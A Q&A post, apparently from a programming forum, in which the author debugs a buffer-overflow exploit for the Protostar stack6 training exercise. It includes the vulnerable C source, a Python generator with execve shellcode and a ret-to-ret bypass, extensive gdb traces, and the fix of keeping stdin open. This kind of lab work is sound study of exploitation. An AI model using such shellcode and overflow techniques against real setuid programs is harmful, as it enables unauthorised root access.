So I am doing the protostar challenges from exploit exercises and I'm completely stumped. Protostar runs on a virtual machine emulating an i686 processor.
uname -a
Linux protostar 2.6.32-5-686 #1 SMP Mon Oct 3 04:15:24 UTC 2011 i686 GNU/Linux
The challenge involves injecting a malformed user provided input to allow root access. The executable has the setuid flag set and has owner root. I provide my input via a named pipe in /tmp/mypipe
in gdb I run
set disassembly-flavor intel
run < /tmp/mypipe
When I set my breakpoint at the end of the getpath() function on the RET
instruction and single step forward, everything works as expected. My shellcode gets executed. I verrified that the instructions are exactly the same as the documentation at the source. (Using a stop hook with x/2i $eip
and single stepping through the assembler). Everything works just fine down the noop sled and the first few instructions, up until interrupt 0x80 (syscall) (0xcd 0x80
).
The funny thing is gdb announces:
Executing new program: /bin/dash
Program received signal SIGSEGV, Segmentation fault.
After that nothing works anymore. Running it again with the same input just segfaults. Trying to disassemble main
yields No symbol "main" in current context.
Once I close GDB and start again, it gives the same behavior as before. No shell is actually ever interactable. Using the same payload from the command line simply yields a segfault.
I have tried numerous payloads made with msfvenom, all for x86 linux with different encoders, prohibiting 0x00, 0x0a and 0x0d. I tried putting small payloads into the buffer, i tried putting them behind the return address in the main stackframe and beyond. Everything I tried gives me a segfault. I'm confused as to why this isn't working. Has it perhaps something to do with overwriting EBP on the stack and then returning twice? But LEAVE
isn't executed twice, only RET
.
What's going on?
The code for the challenge is this:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
}
int main(int argc, char **argv)
{
getpath();
}
Jumping to the stack is prohibited by program logic. So obviously you must jump somewhere else.
My idea was to jump to the RET instruction at the end of getpath()
, basically popping another address into EIP from the stack that is not checked by program logic.
It turns out there are 80B from the top of the stack where buf
starts to the first byte of the return pointer on the stack.
My code for generating the malformed input looks like this.
# execenv 28B from http://shell-storm.org/shellcode/files/shellcode-811.php
buf = b""
buf += b"\x31\xc0\x50\x68\x2f\x2f\x73"
buf += b"\x68\x68\x2f\x62\x69\x6e\x89"
buf += b"\xe3\x89\xc1\x89\xc2\xb0\x0b"
buf += b"\xcd\x80\x31\xc0\x40\xcd\x80"
# start of buffer = 0xbffff64c
# EIP return on stack = 0xbffff69c
# difference = 80 B
padding = "A"*80
# use noop sled to avoid changing environment variables etc to mess with alignment
noop = (b"\x90")*0x40
# addr of ret command (getpath function)
eip = b"\x08\x04\x84\xf9"
eip = eip[::-1]
# shell code position
eip2 = b"\xbf\xff\xf6\xb0"
eip2 = eip2[::-1]
print (padding + eip + eip2 + noop + buf)
Note: eip = eip[::-1]
reverses the byte order because intel x86 is little endian.
Edit:
Here is a more detailed state of the machine.
disassemble getpath
Dump of assembler code for function getpath:
0x08048484 <getpath+0>: push ebp
0x08048485 <getpath+1>: mov ebp,esp
0x08048487 <getpath+3>: sub esp,0x68
0x0804848a <getpath+6>: mov eax,0x80485d0
0x0804848f <getpath+11>: mov DWORD PTR [esp],eax
0x08048492 <getpath+14>: call 0x80483c0 <printf@plt>
0x08048497 <getpath+19>: mov eax,ds:0x8049720
0x0804849c <getpath+24>: mov DWORD PTR [esp],eax
0x0804849f <getpath+27>: call 0x80483b0 <fflush@plt>
0x080484a4 <getpath+32>: lea eax,[ebp-0x4c]
0x080484a7 <getpath+35>: mov DWORD PTR [esp],eax
0x080484aa <getpath+38>: call 0x8048380 <gets@plt>
0x080484af <getpath+43>: mov eax,DWORD PTR [ebp+0x4]
0x080484b2 <getpath+46>: mov DWORD PTR [ebp-0xc],eax
0x080484b5 <getpath+49>: mov eax,DWORD PTR [ebp-0xc]
0x080484b8 <getpath+52>: and eax,0xbf000000
0x080484bd <getpath+57>: cmp eax,0xbf000000
0x080484c2 <getpath+62>: jne 0x80484e4 <getpath+96>
0x080484c4 <getpath+64>: mov eax,0x80485e4
0x080484c9 <getpath+69>: mov edx,DWORD PTR [ebp-0xc]
0x080484cc <getpath+72>: mov DWORD PTR [esp+0x4],edx
0x080484d0 <getpath+76>: mov DWORD PTR [esp],eax
0x080484d3 <getpath+79>: call 0x80483c0 <printf@plt>
0x080484d8 <getpath+84>: mov DWORD PTR [esp],0x1
0x080484df <getpath+91>: call 0x80483a0 <_exit@plt>
0x080484e4 <getpath+96>: mov eax,0x80485f0
0x080484e9 <getpath+101>: lea edx,[ebp-0x4c]
0x080484ec <getpath+104>: mov DWORD PTR [esp+0x4],edx
0x080484f0 <getpath+108>: mov DWORD PTR [esp],eax
0x080484f3 <getpath+111>: call 0x80483c0 <printf@plt>
0x080484f8 <getpath+116>: leave
0x080484f9 <getpath+117>: ret
End of assembler dump.
(gdb) b *0x080484f9
Breakpoint 1 at 0x80484f9: file stack6/stack6.c, line 23.
(gdb) run < /tmp/mypipe
Starting program: /opt/protostar/bin/stack6 < /tmp/mypipe
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[... bunch of gibberish that can't be printed as text]
Breakpoint 1, 0x080484f9 in getpath () at stack6/stack6.c:23
23 stack6/stack6.c: No such file or directory.
in stack6/stack6.c
(gdb) x /32wx $esp
0xbffff69c: 0x080484f9 0xbffff6b0 0x90909090 0x90909090
0xbffff6ac: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6bc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6cc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6dc: 0x90909090 0x90909090 0x6850c031 0x68732f2f
0xbffff6ec: 0x69622f68 0x89e3896e 0xb0c289c1 0x3180cd0b
0xbffff6fc: 0x80cd40c0 0x00000000 0x00000000 0x00000001
0xbffff70c: 0x080483d0 0x00000000 0xb7ff6210 0xb7eadb9b
As you can see the function skipped the bzzz + exit because the return address passed the check. The next instruction is ret which returns to 0x080484f9
(top of stack at $esp). Which is ret.
One step forward
(gdb) stepi
eip 0x80484f9 0x80484f9 <getpath+117>
esp 0xbffff6a0 0xbffff6a0
eax 0xbe 190
ebx 0xb7fd7ff4 -1208123404
0x80484f9 <getpath+117>: ret
0x80484fa <main>: push ebp
0xbffff6a0: 0xbffff6b0 0x90909090 0x90909090 0x90909090
0xbffff6b0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6c0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6d0: 0x90909090 0x90909090 0x90909090 0x90909090
Breakpoint 1, 0x080484f9 in getpath () at stack6/stack6.c:23
23 in stack6/stack6.c
and another
Cannot access memory at address 0x41414145
I'm not sure what that's about or why the hook-stop didn't fire or where the 0x45 came from, but
(gdb) i r
eax 0xbe 190
ecx 0x0 0
edx 0xb7fd9340 -1208118464
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff6a4 0xbffff6a4
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0xbffff6b0 0xbffff6b0
eflags 0x200296 [ PF AF SF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
As you can see EIP points to the noop sled.
(gdb) x /60i $eip
0xbffff6b0: nop
0xbffff6b1: nop
0xbffff6b2: nop
[snip]
0xbffff6e2: nop
0xbffff6e3: nop
0xbffff6e4: xor eax,eax
0xbffff6e6: push eax
0xbffff6e7: push 0x68732f2f
0xbffff6ec: push 0x6e69622f
0xbffff6f1: mov ebx,esp
0xbffff6f3: mov ecx,eax
0xbffff6f5: mov edx,eax
0xbffff6f7: mov al,0xb
from there it executes along nicely up to int 80 where it segfaults.
(gdb) x /12i $eip
[skipping all the nops up to here]
0xbffff6e4: xor eax,eax
0xbffff6e6: push eax
0xbffff6e7: push 0x68732f2f
0xbffff6ec: push 0x6e69622f
0xbffff6f1: mov ebx,esp
0xbffff6f3: mov ecx,eax
0xbffff6f5: mov edx,eax
0xbffff6f7: mov al,0xb
0xbffff6f9: int 0x80
0xbffff6fb: xor eax,eax
0xbffff6fd: inc eax
0xbffff6fe: int 0x80
(gdb)
eip 0xbffff6f9 0xbffff6f9
esp 0xbffff698 0xbffff698
eax 0xb 11
ebx 0xbffff698 -1073744232
0xbffff6f9: int 0x80
0xbffff6fb: xor eax,eax
0xbffff698: 0x6e69622f 0x68732f2f 0x00000000 0x90909090
0xbffff6a8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6b8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6c8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6f9 in ?? ()
(gdb)
Executing new program: /bin/dash
Program received signal SIGSEGV, Segmentation fault.
eip 0x805925e 0x805925e
esp 0xbffffcd0 0xbffffcd0
eax 0x3e9 1001
ebx 0xb7fd7ff4 -1208123404
0x805925e: mov ebx,DWORD PTR [esi]
0x8059260: test ebx,ebx
0xbffffcd0: 0x00000011 0x00000000 0x00000000 0xbffffd70
0xbffffce0: 0xbffffd28 0xbffffd34 0x00000000 0xb7fff8f8
0xbffffcf0: 0x00000000 0xb7ffc3e1 0xb7ffb8bc 0x08048bdd
0xbffffd00: 0x00000000 0xb7fe3494 0xbffffd44 0xb7fe3612
0x0805925e in ?? ()
(gdb) x /5i 0x805925e
0x805925e: mov ebx,DWORD PTR [esi]
0x8059260: test ebx,ebx
0x8059262: je 0x8059295
0x8059264: lea esi,[esi+eiz*1+0x0]
0x8059268: mov DWORD PTR [esp+0x4],0x3d
(gdb) i r
eax 0x3e9 1001
ecx 0xa 10
edx 0x805c340 134595392
ebx 0xb7fd7ff4 -1208123404
esp 0xbffffcd0 0xbffffcd0
ebp 0xbffffd98 0xbffffd98
esi 0x0 0
edi 0x0 0
eip 0x805925e 0x805925e
eflags 0x210282 [ SF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
Edit 2:
I ran the exploit from a file instead of a pipe. I get an odd result. I still don't know what to make of it.
(gdb) run < /tmp/exploit
Starting program: /opt/protostar/bin/stack6 < /tmp/exploit
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�AAAAAAAAAAAA���������������������������������������������������������������������1�Ph//shh/bin����°
1�@̀
Executing new program: /bin/dash
Program exited normally.
Error while running hook_stop:
The program has no registers now.
When piping or routing input into the program then stdin basically ceases to exist when the providing source is at the end of it's output or terminates. Therefore you don't get a shell.
Disassemble main didn't work anymore at the instances with that behavior because the program being loaded by gdb no longer is stack6 but /bin/sh. Executing Run again would execute /bin/sh.
I have no idea why the program segfaulted when the piped input ran out. But with the file the interrupt 80 did not segfault and afterwards it ran interrupt 80 with eax = 1 calling exit(ebx), leading to normal termination.
To execute the exploit, you need shell code that doesn't need stdin input, such as a metasploit reverse tcp bind shell or you need to provide continuous input after the exploit was executed. For example like this:
(cat /tmp/exploit; cat) | ./stack6
which will first input the exploit into the program and then ask the user for more input on stdin (cat) and pipe that to the program afterwards.
User contributions licensed under CC BY-SA 3.0